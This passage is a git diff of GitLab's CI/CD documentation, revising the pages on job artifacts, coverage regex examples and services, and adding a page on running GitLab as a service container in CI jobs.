- - rspec --format RspecJunitFormatter --out rspec.xml
- artifacts:
- reports:
- junit: rspec.xml
-```
-
-The collected Unit test reports upload to GitLab as an artifact and display in merge requests.
-
-If the JUnit tool you use exports to multiple XML files, specify
-multiple test report paths within a single job to
-concatenate them into a single file. Use a filename pattern (`junit: rspec-*.xml`),
-an array of filenames (`junit: [rspec-1.xml, rspec-2.xml, rspec-3.xml]`), or a
-combination thereof (`junit: [rspec.xml, test-results/TEST-*.xml]`).
-
-#### `artifacts:reports:dotenv`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17066) in GitLab 12.9.
-> - Requires GitLab Runner 11.5 and later.
-
-The `dotenv` report collects a set of environment variables as artifacts.
-
-The collected variables are registered as runtime-created variables of the job,
-which is useful to [set dynamic environment URLs after a job finishes](../environments/index.md#set-dynamic-environment-urls-after-a-job-finishes).
-
-There are a couple of exceptions to the [original dotenv rules](https://github.com/motdotla/dotenv#rules):
-
-- The variable key can contain only letters, digits, and underscores (`_`).
-- The maximum size of the `.env` file is 5 KB.
-- In GitLab 13.5 and older, the maximum number of inherited variables is 10.
-- In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/247913),
- the maximum number of inherited variables is 20.
-- Variable substitution in the `.env` file is not supported.
-- The `.env` file can't have empty lines or comments (starting with `#`).
-- Key values in the `env` file cannot have spaces or newline characters (`\n`), including when using single or double quotes.
-- Quote escaping during parsing (`key = 'value'` -> `{key: "value"}`) is not supported.
-
-#### `artifacts:reports:cobertura`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9.
-> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above.
-
-The `cobertura` report collects [Cobertura coverage XML files](../../user/project/merge_requests/test_coverage_visualization.md).
-The collected Cobertura coverage reports upload to GitLab as an artifact
-and display in merge requests.
-
-Cobertura was originally developed for Java, but there are many
-third party ports for other languages like JavaScript, Python, Ruby, and so on.
-
-#### `artifacts:reports:terraform`
+LaTeX source file, `mycv.tex`.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207528) in GitLab 13.0.
-> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above.
+The `paths` keyword determines which files to add to the job artifacts.
+All paths to files and directories are relative to the repository where the job was created.
-The `terraform` report obtains a Terraform `tfplan.json` file. [JQ processing required to remove credentials](../../user/infrastructure/mr_integration.md#setup). The collected Terraform
-plan report uploads to GitLab as an artifact and displays
-in merge requests. For more information, see
-[Output `terraform plan` information into a merge request](../../user/infrastructure/mr_integration.md).
+The `expire_in` keyword determines how long GitLab keeps the job artifacts.
+You can also [use the UI to keep job artifacts from expiring](#download-job-artifacts).
+If `expire_in` is not defined, the
+[instance-wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration)
+is used.
-#### `artifacts:reports:codequality`
+For more examples, view the [keyword reference for the `.gitlab-ci.yml` file](../yaml/README.md#artifacts).
-> - Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 11.5.
-> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) in GitLab 13.2.
-> - Requires GitLab Runner 11.5 and above.
+## Download job artifacts
-The `codequality` report collects [Code Quality issues](../../user/project/merge_requests/code_quality.md)
-as artifacts.
+You can download job artifacts or view the job archive:
-The collected Code Quality report uploads to GitLab as an artifact and is summarized in merge requests.
+- On the **Pipelines** page, to the right of the pipeline:
-#### `artifacts:reports:sast`
+ ![Job artifacts in Pipelines page](img/job_artifacts_pipelines_page.png)
-> - Introduced in GitLab 11.5.
-> - Made [available in all tiers](https://gitlab.com/groups/gitlab-org/-/epics/2098) in GitLab 13.3.
-> - Requires GitLab Runner 11.5 and above.
+- On the **Jobs** page, to the right of the job:
-The `sast` report collects [SAST vulnerabilities](../../user/application_security/sast/index.md)
-as artifacts.
+ ![Job artifacts in Builds page](img/job_artifacts_builds_page.png)
-The collected SAST report uploads to GitLab as an artifact and is summarized
-in merge requests and the pipeline view. It's also used to provide data for security
-dashboards.
+- On a job's detail page. The **Keep** button indicates an `expire_in` value was set:
-#### `artifacts:reports:secret_detection`
+ ![Job artifacts browser button](img/job_artifacts_browser_button.png)
-> - Introduced in GitLab 13.1.
-> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/222788) in GitLab
- 13.3.
-> - Requires GitLab Runner 11.5 and above.
+- On a merge request, by the pipeline details:
-The `secret-detection` report collects [detected secrets](../../user/application_security/secret_detection/index.md)
-as artifacts.
+ ![Job artifacts in Merge Request](img/job_artifacts_merge_request.png)
-The collected Secret Detection report is uploaded to GitLab as an artifact and summarized
-in the merge requests and pipeline view. It's also used to provide data for security
-dashboards.
+- When browsing an archive:
-#### `artifacts:reports:dependency_scanning` **(ULTIMATE)**
+ ![Job artifacts browser](img/job_artifacts_browser.png)
-> - Introduced in GitLab 11.5.
-> - Requires GitLab Runner 11.5 and above.
+ If [GitLab Pages](../../administration/pages/index.md) is enabled in the project, you can preview
+ HTML files in the artifacts directly in your browser. If the project is internal or private, you must
+ enable [GitLab Pages access control](../../administration/pages/index.md#access-control) to preview
+ HTML files.
-The `dependency_scanning` report collects [Dependency Scanning vulnerabilities](../../user/application_security/dependency_scanning/index.md)
-as artifacts.
+## View failed job artifacts
-The collected Dependency Scanning report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security
-dashboards.
-
-#### `artifacts:reports:container_scanning` **(ULTIMATE)**
-
-> - Introduced in GitLab 11.5.
-> - Requires GitLab Runner 11.5 and above.
-
-The `container_scanning` report collects [Container Scanning vulnerabilities](../../user/application_security/container_scanning/index.md)
-as artifacts.
-
-The collected Container Scanning report uploads to GitLab as an artifact and
-is summarized in merge requests and the pipeline view. It's also used to provide data for security
-dashboards.
-
-#### `artifacts:reports:dast` **(ULTIMATE)**
-
-> - Introduced in GitLab 11.5.
-> - Requires GitLab Runner 11.5 and above.
-
-The `dast` report collects [DAST vulnerabilities](../../user/application_security/dast/index.md)
-as artifacts.
-
-The collected DAST report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security
-dashboards.
-
-#### `artifacts:reports:api_fuzzing` **(ULTIMATE)**
-
-> - Introduced in GitLab 13.4.
-> - Requires GitLab Runner 13.4 or later.
-
-The `api_fuzzing` report collects [API Fuzzing bugs](../../user/application_security/api_fuzzing/index.md)
-as artifacts.
-
-The collected API Fuzzing report uploads to GitLab as an artifact and is summarized in merge
-requests and the pipeline view. It's also used to provide data for security dashboards.
-
-#### `artifacts:reports:coverage_fuzzing` **(ULTIMATE)**
-
-> - Introduced in GitLab 13.4.
-> - Requires GitLab Runner 13.4 or later.
-
-The `coverage_fuzzing` report collects [coverage fuzzing bugs](../../user/application_security/coverage_fuzzing/index.md)
-as artifacts.
-
-The collected coverage fuzzing report uploads to GitLab as an artifact and is summarized in merge
-requests and the pipeline view. It's also used to provide data for security dashboards.
+If the latest job has failed to upload the artifacts, you can see that
+information in the UI.
-#### `artifacts:reports:license_management` **(ULTIMATE)**
+![Latest artifacts button](img/job_latest_artifacts_browser.png)
-> - Introduced in GitLab 11.5.
-> - Requires GitLab Runner 11.5 and above.
+## Erase job artifacts
WARNING:
-This artifact is still valid but is **deprecated** in favor of the
-[artifacts:reports:license_scanning](../pipelines/job_artifacts.md#artifactsreportslicense_scanning)
-introduced in GitLab 12.8.
-
-The `license_management` report collects [Licenses](../../user/compliance/license_compliance/index.md)
-as artifacts.
-
-The collected License Compliance report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security
-dashboards.
-
-#### `artifacts:reports:license_scanning` **(ULTIMATE)**
-
-> - Introduced in GitLab 12.8.
-> - Requires GitLab Runner 11.5 and above.
-
-The `license_scanning` report collects [Licenses](../../user/compliance/license_compliance/index.md)
-as artifacts.
-
-The License Compliance report uploads to GitLab as an artifact and displays automatically in merge requests and the pipeline view, and provide data for security
-dashboards.
-
-#### `artifacts:reports:performance` **(PREMIUM)**
-
-> - Introduced in GitLab 11.5.
-> - Requires GitLab Runner 11.5 and above.
-
-The `performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md)
-as artifacts.
-
-The collected Browser Performance report uploads to GitLab as an artifact and displays in merge requests.
-
-#### `artifacts:reports:load_performance` **(PREMIUM)**
-
-> - Introduced in [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35260) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
-> - Requires GitLab Runner 11.5 and above.
-
-The `load_performance` report collects [Load Performance Testing metrics](../../user/project/merge_requests/load_performance_testing.md)
-as artifacts.
-
-The report is uploaded to GitLab as an artifact and is
-shown in merge requests automatically.
-
-#### `artifacts:reports:metrics` **(PREMIUM)**
-
-> Introduced in GitLab 11.10.
-
-The `metrics` report collects [Metrics](../metrics_reports.md)
-as artifacts.
-
-The collected Metrics report uploads to GitLab as an artifact and displays in merge requests.
-
-#### `artifacts:reports:requirements` **(ULTIMATE)**
-
-> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2859) in GitLab 13.1.
-> - Requires GitLab Runner 11.5 and above.
-
-The `requirements` report collects `requirements.json` files as artifacts.
-
-The collected Requirements report uploads to GitLab as an artifact and
-existing [requirements](../../user/project/requirements/index.md) are
-marked as Satisfied.
-
-## Browsing artifacts
-
-> - From GitLab 9.2, PDFs, images, videos, and other formats can be previewed directly in the job artifacts browser without the need to download them.
-> - Introduced in [GitLab 10.1](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14399), HTML files in a public project can be previewed directly in a new tab without the need to download them when [GitLab Pages](../../administration/pages/index.md) is enabled. The same applies for textual formats (currently supported extensions: `.txt`, `.json`, and `.log`).
-> - Introduced in [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16675), artifacts in internal and private projects can be previewed when [GitLab Pages access control](../../administration/pages/index.md#access-control) is enabled.
-
-After a job finishes, if you visit the job's specific page, there are three
-buttons. You can download the artifacts archive or browse its contents, whereas
-the **Keep** button appears only if you've set an [expiry date](../yaml/README.md#artifactsexpire_in) to the
-artifacts in case you changed your mind and want to keep them.
-
-![Job artifacts browser button](img/job_artifacts_browser_button.png)
-
-The archive browser shows the name and the actual file size of each file in the
-archive. If your artifacts contained directories, then you're also able to
-browse inside them.
-
-Below you can see what browsing looks like. In this case we have browsed inside
-the archive and at this point there is one directory, a couple files, and
-one HTML file that you can view directly online when
-[GitLab Pages](../../administration/pages/index.md) is enabled (opens in a new tab).
-Select artifacts in internal and private projects can only be previewed when
-[GitLab Pages access control](../../administration/pages/index.md#access-control) is enabled.
-
-![Job artifacts browser](img/job_artifacts_browser.png)
-
-## Downloading artifacts
-
-If you need to download an artifact or the whole archive, there are buttons in various places
-in the GitLab UI to do this:
-
-1. While on the pipelines page, you can see the download icon for each job's
- artifacts and archive in the right corner:
-
- ![Job artifacts in Pipelines page](img/job_artifacts_pipelines_page.png)
-
-1. While on the **Jobs** page, you can see the download icon for each job's
- artifacts and archive in the right corner:
-
- ![Job artifacts in Builds page](img/job_artifacts_builds_page.png)
+This is a destructive action that leads to data loss. Use with caution.
-1. While inside a specific job, you're presented with a download button
- along with the one that browses the archive:
+You can erase a single job, which also removes the job's
+artifacts and log. You must be:
- ![Job artifacts browser button](img/job_artifacts_browser_button.png)
+- The owner of the job.
+- A [Maintainer](../../user/permissions.md#gitlab-cicd-permissions) of the project.
-1. While on the details page of a merge request, you can see the download
- icon for each job's artifacts on the right side of the merge request widget:
+To erase a job:
- ![Job artifacts in Merge Request](img/job_artifacts_merge_request.png)
+1. Go to a job's detail page.
+1. At the top right of the job's log, select the trash icon.
+1. Confirm the deletion.
-1. And finally, when browsing an archive you can see the download button at
- the top right corner:
+## Retrieve job artifacts for private projects
- ![Job artifacts browser](img/job_artifacts_browser.png)
+To retrieve a job artifact from a different project, you might need to use a
+private token to [authenticate and download](../../api/job_artifacts.md#get-job-artifacts)
+the artifact.
-## Downloading the latest artifacts
+## The latest job artifacts
-It's possible to download the latest artifacts of a job via a well known URL
-so you can use it for scripting purposes.
+Job artifacts created in the most recent successful pipeline for a specific ref
+are considered the latest artifacts. If you run two types of pipelines for the same ref,
+timing determines which artifacts are the latest.
-NOTE:
-The latest artifacts are created by jobs in the **most recent** successful pipeline
-for the specific ref. If you run two types of pipelines for the same ref, timing determines the latest
-artifact. For example, if a merge request creates a branch pipeline at the same time as a scheduled pipeline, the pipeline that completed most recently creates the latest artifact.
+For example, if a merge request creates a branch pipeline at the same time as
+a scheduled pipeline, the pipeline that finished most recently creates the latest job artifact.
In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201784) and later, artifacts
for [parent and child pipelines](../parent_child_pipelines.md) are searched in hierarchical
order from parent to child. For example, if both parent and child pipelines have a
-job with the same name, the artifact from the parent pipeline is returned.
+job with the same name, the job artifact from the parent pipeline is returned.
-Artifacts for other pipelines can be accessed with direct access to them.
+### Access the latest job artifacts by URL
-The structure of the URL to download the whole artifacts archive is the following:
+You can download the latest job artifacts by using a URL.
+
+To download the whole artifacts archive:
```plaintext
https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/download?job=<job_name>
```
-To download a single file from the artifacts use the following URL:
+To download a single file from the artifacts:
```plaintext
https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/raw/<path_to_file>?job=<job_name>
@@ -393,20 +138,19 @@ https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/raw/<path_to_fi
For example, to download the latest artifacts of the job named `coverage` of
the `master` branch of the `gitlab` project that belongs to the `gitlab-org`
-namespace, the URL would be:
+namespace:
```plaintext
https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/download?job=coverage
```
-To download the file `coverage/index.html` from the same
-artifacts use the following URL:
+To download the file `coverage/index.html` from the same artifacts:
```plaintext
https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/raw/coverage/index.html?job=coverage
```
-There is also a URL to browse the latest job artifacts:
+To browse the latest job artifacts:
```plaintext
https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/browse?job=<job_name>
@@ -418,62 +162,26 @@ For example:
https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/browse?job=coverage
```
-There is also a URL to specific files, including HTML files that
+There is also a URL for specific files, including HTML files that
are shown in [GitLab Pages](../../administration/pages/index.md):
```plaintext
https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/file/<path>?job=<job_name>
```
-For example, when a job `coverage` creates the artifact `htmlcov/index.html`,
-you can access it at:
+For example, when a job `coverage` creates the artifact `htmlcov/index.html`:
```plaintext
https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/file/htmlcov/index.html?job=coverage
```
-The latest builds are also exposed in the UI in various places. Specifically,
-look for the download button in:
-
-- The main project's page
-- The branches page
-- The tags page
-
-If the latest job has failed to upload the artifacts, you can see that
-information in the UI.
-
-![Latest artifacts button](img/job_latest_artifacts_browser.png)
-
-## Erasing artifacts
-
-WARNING:
-This is a destructive action that leads to data loss. Use with caution.
-
-You can erase a single job via the UI, which also removes the job's
-artifacts and trace, if you are:
-
-- The owner of the job.
-- A [Maintainer](../../user/permissions.md#gitlab-cicd-permissions) of the project.
-
-To erase a job:
-
-1. Navigate to a job's page.
-1. Click the trash icon at the top right of the job's trace.
-1. Confirm the deletion.
-
-## Retrieve artifacts of private projects when using GitLab CI
-
-To retrieve a job artifact from a different project, you might need to use a
-private token to [authenticate and download](../../api/job_artifacts.md#get-job-artifacts)
-the artifact.
-
-## Keep artifacts from most recent successful jobs
+### Keep artifacts from most recent successful jobs
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16267) in GitLab 13.0.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/229936) in GitLab 13.4.
> - [Made optional with a CI/CD setting](https://gitlab.com/gitlab-org/gitlab/-/issues/241026) in GitLab 13.8.
-By default, the latest artifacts from the most recent successful jobs are never deleted.
+By default, the latest job artifacts from the most recent successful jobs are never deleted.
If a job is configured with [`expire_in`](../yaml/README.md#artifactsexpire_in),
its artifacts only expire if a more recent artifact exists.
@@ -481,16 +189,16 @@ Keeping the latest artifacts can use a large amount of storage space in projects
with a lot of jobs or large artifacts. If the latest artifacts are not needed in
a project, you can disable this behavior to save space:
-1. Navigate to **Settings > CI/CD > Artifacts**.
-1. Uncheck **Keep artifacts from most recent successful jobs**.
+1. Go to the project's **Settings > CI/CD > Artifacts**.
+1. Clear the **Keep artifacts from most recent successful jobs** checkbox.
You can disable this behavior for all projects on a self-managed instance in the
-[instance's CI/CD settings](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines). **(CORE ONLY)**
+[instance's CI/CD settings](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines).
When you disable the feature, the latest artifacts do not immediately expire.
A new pipeline must run before the latest artifacts can expire and be deleted.
-## Troubleshooting
+## Troubleshooting job artifacts
### Error message `No files to upload`
diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md
index e607bae53bd..31e42a2cb68 100644
--- a/doc/ci/pipelines/settings.md
+++ b/doc/ci/pipelines/settings.md
@@ -137,21 +137,19 @@ averaged.
<!-- vale gitlab.Spelling = NO -->
-| Coverage Tool | Sample regular expression |
-|------------------------------------------------|-----------------------------------------------|
-| Simplecov (Ruby) | `\(\d+.\d+\%\) covered` |
-| pytest-cov (Python) | `^TOTAL.+?(\d+\%)$` |
-| Scoverage (Scala) | `Statement coverage[A-Za-z\.*]\s*:\s*([^%]+)` |
-| `phpunit --coverage-text --colors=never` (PHP) | `^\s*Lines:\s*\d+.\d+\%` |
-| gcovr (C/C++) | `^TOTAL.*\s+(\d+\%)$` |
-| `tap --coverage-report=text-summary` (NodeJS) | `^Statements\s*:\s*([^%]+)` |
-| `nyc npm test` (NodeJS) | `All files[^|]*\|[^|]*\s+([\d\.]+)` |
-| excoveralls (Elixir) | `\[TOTAL\]\s+(\d+\.\d+)%` |
-| `mix test --cover` (Elixir) | `\d+.\d+\%\s+\|\s+Total` |
-| JaCoCo (Java/Kotlin) | `Total.*?([0-9]{1,3})%` |
-| `go test -cover` (Go) | `coverage: \d+.\d+% of statements` |
-| .Net (OpenCover) | `(Visited Points).*\((.*)\)` |
-| .Net (`dotnet test` line coverage) | `Total\s*\|\s*(\d+\.?\d+)` |
+- Simplecov (Ruby). Example: `\(\d+.\d+\%\) covered`.
+- pytest-cov (Python). Example: `^TOTAL.+?(\d+\%)$`.
+- Scoverage (Scala). Example: `Statement coverage[A-Za-z\.*]\s*:\s*([^%]+)`.
+- `phpunit --coverage-text --colors=never` (PHP). Example: `^\s*Lines:\s*\d+.\d+\%`.
+- gcovr (C/C++). Example: `^TOTAL.*\s+(\d+\%)$`.
+- `tap --coverage-report=text-summary` (NodeJS). Example: `^Statements\s*:\s*([^%]+)`.
+- `nyc npm test` (NodeJS). Example: `All files[^|]*\|[^|]*\s+([\d\.]+)`.
+- excoveralls (Elixir). Example: `\[TOTAL\]\s+(\d+\.\d+)%`.
+- `mix test --cover` (Elixir). Example: `\d+.\d+\%\s+\|\s+Total`.
+- JaCoCo (Java/Kotlin). Example: `Total.*?([0-9]{1,3})%`.
+- `go test -cover` (Go). Example: `coverage: \d+.\d+% of statements`.
+- .Net (OpenCover). Example: `(Visited Points).*\((.*)\)`.
+- .Net (`dotnet test` line coverage). Example: `Total\s*\|\s*(\d+\.?\d+)`.
<!-- vale gitlab.Spelling = YES -->
diff --git a/doc/ci/quick_start/index.md b/doc/ci/quick_start/index.md
index 664523a08e4..d20a0f0d4a1 100644
--- a/doc/ci/quick_start/index.md
+++ b/doc/ci/quick_start/index.md
@@ -161,4 +161,4 @@ To view your pipeline:
![Job details](img/job_details_v13_6.png)
-If the job status is `stuck`, check to ensure a runner is probably configured for the project.
+If the job status is `stuck`, check to ensure a runner is properly configured for the project.
diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md
index eac72bc7351..d140344b40d 100644
--- a/doc/ci/secrets/index.md
+++ b/doc/ci/secrets/index.md
@@ -114,7 +114,7 @@ In this example:
After GitLab fetches the secret from Vault, the value is saved in a temporary file.
The path to this file is stored in a CI/CD variable named `DATABASE_PASSWORD`,
-similar to [variables of type `file`](../variables/README.md#custom-cicd-variables-of-type-file).
+similar to [variables of type `file`](../variables/README.md#cicd-variable-types).
For more information about the supported syntax, read the
[`.gitlab-ci.yml` reference](../yaml/README.md#secretsvault).
diff --git a/doc/ci/services/gitlab.md b/doc/ci/services/gitlab.md
new file mode 100644
index 00000000000..8a582cc87eb
--- /dev/null
+++ b/doc/ci/services/gitlab.md
@@ -0,0 +1,40 @@
+---
+stage: Verify
+group: Runner
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+---
+
+# Use GitLab as a microservice
+
+Many applications need to access JSON APIs, so application tests might need access
+to APIs too. The following example shows how to use GitLab as a microservice to give
+tests access to the GitLab API.
+
+1. Configure a [runner](../runners/README.md) with the Docker or Kubernetes executor.
+1. In your `.gitlab-ci.yml` add:
+
+ ```yaml
+ services:
+ - name: gitlab/gitlab-ce:latest
+ alias: gitlab
+
+ variables:
+ GITLAB_HTTPS: "false" # ensure that plain http works
+ GITLAB_ROOT_PASSWORD: "password" # to access the api with user root:password
+ ```
+
+1. To set values for the `GITLAB_HTTPS` and `GITLAB_ROOT_PASSWORD`,
+ [assign them to a variable in the user interface](../variables/README.md#project-cicd-variables).
+ Then assign that variable to the corresponding variable in your
+ `.gitlab-ci.yml` file.
+
+Then, commands in `script:` sections in your `.gitlab-ci.yml` file can access the API at `http://gitlab/api/v4`.
+
+For more information about why `gitlab` is used for the `Host`, see
+[How services are linked to the job](../docker/using_docker_images.md#extended-docker-configuration-options).
+
+You can also use any other Docker image available on [Docker Hub](https://hub.docker.com/u/gitlab).
+
+The `gitlab` image can accept environment variables. For more details,
+see the [Omnibus documentation](../../install/README.md).
diff --git a/doc/ci/services/index.md b/doc/ci/services/index.md
index 71c2be70de3..8d603b17e2e 100644
--- a/doc/ci/services/index.md
+++ b/doc/ci/services/index.md
@@ -6,16 +6,376 @@ comments: false
type: index
---
-# GitLab CI services examples
+# Services
-The [`services`](../docker/using_docker_images.md#what-is-a-service)
-keyword defines a Docker image that runs during a `job` linked to the
-Docker image that the image keyword defines. This allows you to access
-the service image during build time.
+The `services` keyword defines a Docker image that runs during a `job`
+linked to the Docker image that the image keyword defines. This allows
+you to access the service image during build time.
The service image can run any application, but the most common use
case is to run a database container, for example:
-- [Using MySQL](mysql.md)
-- [Using PostgreSQL](postgres.md)
-- [Using Redis](redis.md)
+- [MySQL](mysql.md)
+- [PostgreSQL](postgres.md)
+- [Redis](redis.md)
+- [GitLab](gitlab.md) as an example for a microservice offering a JSON API
+
+It's easier and faster to use an existing image and run it as an additional container
+than to install `mysql`, for example, every time the project is built.
+
+You're not limited to only database services. You can add as many
+services you need to `.gitlab-ci.yml` or manually modify `config.toml`.
+Any image found at [Docker Hub](https://hub.docker.com/) or your private Container Registry can be
+used as a service.
+
+Services inherit the same DNS servers, search domains, and additional hosts as
+the CI container itself.
+
+## How services are linked to the job
+
+To better understand how container linking works, read
+[Linking containers together](https://docs.docker.com/engine/userguide/networking/default_network/dockerlinks/).
+
+If you add `mysql` as service to your application, the image is
+used to create a container that's linked to the job container.
+
+The service container for MySQL is accessible under the hostname `mysql`.
+To access your database service, connect to the host named `mysql` instead of a
+socket or `localhost`. Read more in [accessing the services](#accessing-the-services).
+
+## How the health check of services works
+
+Services are designed to provide additional features which are **network accessible**.
+They may be a database like MySQL, or Redis, and even `docker:stable-dind` which
+allows you to use Docker-in-Docker. It can be practically anything that's
+required for the CI/CD job to proceed, and is accessed by network.
+
+To make sure this works, the runner:
+
+1. Checks which ports are exposed from the container by default.
+1. Starts a special container that waits for these ports to be accessible.
+
+If the second stage of the check fails, it prints the warning: `*** WARNING: Service XYZ probably didn't start properly`.
+This issue can occur because:
+
+- There is no opened port in the service.
+- The service was not started properly before the timeout, and the port is not
+ responding.
+
+In most cases it affects the job, but there may be situations when the job
+still succeeds even if that warning was printed. For example:
+
+- The service was started shortly after the warning was raised, and the job is
+ not using the linked service from the beginning. In that case, when the
+ job needed to access the service, it may have been already there waiting for
+ connections.
+- The service container is not providing any networking service, but it's doing
+ something with the job's directory (all services have the job directory mounted
+ as a volume under `/builds`). In that case, the service does its job, and
+ because the job is not trying to connect to it, it does not fail.
+
+## What services are not for
+
+As mentioned before, this feature is designed to provide **network accessible**
+services. A database is the simplest example of such a service.
+
+The services feature is not designed to, and does not, add any software from the
+defined `services` image(s) to the job's container.
+
+For example, if you have the following `services` defined in your job, the `php`,
+`node` or `go` commands are **not** available for your script, and the job fails:
+
+```yaml
+job:
+ services:
+ - php:7
+ - node:latest
+ - golang:1.10
+ image: alpine:3.7
+ script:
+ - php -v
+ - node -v
+ - go version
+```
+
+If you need to have `php`, `node` and `go` available for your script, you should
+either:
+
+- Choose an existing Docker image that contains all required tools.
+- Create your own Docker image, with all the required tools included,
+ and use that in your job.
+
+## Define `services` in the `.gitlab-ci.yml` file
+
+It's also possible to define different images and services per job:
+
+```yaml
+default:
+ before_script:
+ - bundle install
+
+test:2.6:
+ image: ruby:2.6
+ services:
+ - postgres:11.7
+ script:
+ - bundle exec rake spec
+
+test:2.7:
+ image: ruby:2.7
+ services:
+ - postgres:12.2
+ script:
+ - bundle exec rake spec
+```
+
+Or you can pass some [extended configuration options](../docker/using_docker_images.md#extended-docker-configuration-options)
+for `image` and `services`:
+
+```yaml
+default:
+ image:
+ name: ruby:2.6
+ entrypoint: ["/bin/bash"]
+
+ services:
+ - name: my-postgres:11.7
+ alias: db-postgres
+ entrypoint: ["/usr/local/bin/db-postgres"]
+ command: ["start"]
+
+ before_script:
+ - bundle install
+
+test:
+ script:
+ - bundle exec rake spec
+```
+
+## Accessing the services
+
+Let's say that you need a Wordpress instance to test some API integration with
+your application. You can then use for example the
+[`tutum/wordpress`](https://hub.docker.com/r/tutum/wordpress/) image in your
+`.gitlab-ci.yml` file:
+
+```yaml
+services:
+ - tutum/wordpress:latest
+```
+
+If you don't [specify a service alias](#available-settings-for-services),
+when the job runs, `tutum/wordpress` is started. You have
+access to it from your build container under two hostnames:
+
+- `tutum-wordpress`
+- `tutum__wordpress`
+
+Hostnames with underscores are not RFC valid and may cause problems in third-party
+applications.
+
+The default aliases for the service's hostname are created from its image name
+following these rules:
+
+- Everything after the colon (`:`) is stripped.
+- Slash (`/`) is replaced with double underscores (`__`) and the primary alias
+ is created.
+- Slash (`/`) is replaced with a single dash (`-`) and the secondary alias is
+ created (requires GitLab Runner v1.1.0 or higher).
+
+To override the default behavior, you can
+[specify a service alias](#available-settings-for-services).
+
+## Passing CI/CD variables to services
+
+You can also pass custom CI/CD [variables](../variables/README.md)
+to fine tune your Docker `images` and `services` directly in the `.gitlab-ci.yml` file.
+For more information, read about [`.gitlab-ci.yml` defined variables](../variables/README.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+
+```yaml
+# The following variables are automatically passed down to the Postgres container
+# as well as the Ruby container and available within each.
+variables:
+ HTTPS_PROXY: "https://10.1.1.1:8090"
+ HTTP_PROXY: "https://10.1.1.1:8090"
+ POSTGRES_DB: "my_custom_db"
+ POSTGRES_USER: "postgres"
+ POSTGRES_PASSWORD: "example"
+ PGDATA: "/var/lib/postgresql/data"
+ POSTGRES_INITDB_ARGS: "--encoding=UTF8 --data-checksums"
+
+services:
+ - name: postgres:11.7
+ alias: db
+ entrypoint: ["docker-entrypoint.sh"]
+ command: ["postgres"]
+
+image:
+ name: ruby:2.6
+ entrypoint: ["/bin/bash"]
+
+before_script:
+ - bundle install
+
+test:
+ script:
+ - bundle exec rake spec
+```
+
+## Available settings for `services`
+
+> Introduced in GitLab and GitLab Runner 9.4.
+
+| Setting | Required | GitLab version | Description |
+|------------|----------|----------------| ----------- |
+| `name` | yes, when used with any other option | 9.4 | Full name of the image to use. It should contain the Registry part if needed. |
+| `entrypoint` | no | 9.4 |Command or script to execute as the container's entrypoint. It's translated to Docker's `--entrypoint` option while creating the container. The syntax is similar to [`Dockerfile`'s `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint) directive, where each shell token is a separate string in the array. |
+| `command` | no | 9.4 |Command or script that should be used as the container's command. It's translated to arguments passed to Docker after the image's name. The syntax is similar to [`Dockerfile`'s `CMD`](https://docs.docker.com/engine/reference/builder/#cmd) directive, where each shell token is a separate string in the array. |
+| `alias` (1) | no | 9.4 |Additional alias that can be used to access the service from the job's container. Read [Accessing the services](#accessing-the-services) for more information. |
+
+(1) Alias support for the Kubernetes executor was [introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2229) in GitLab Runner 12.8, and is only available for Kubernetes version 1.7 or later.
+
+## Starting multiple services from the same image
+
+> Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](../docker/using_docker_images.md#extended-docker-configuration-options).
+
+Before the new extended Docker configuration options, the following configuration
+would not work properly:
+
+```yaml
+services:
+ - mysql:latest
+ - mysql:latest
+```
+
+The runner would start two containers, each that uses the `mysql:latest` image.
+However, both of them would be added to the job's container with the `mysql` alias, based on
+the [default hostname naming](#accessing-the-services). This would end with one
+of the services not being accessible.
+
+After the new extended Docker configuration options, the above example would
+look like:
+
+```yaml
+services:
+ - name: mysql:latest
+ alias: mysql-1
+ - name: mysql:latest
+ alias: mysql-2
+```
+
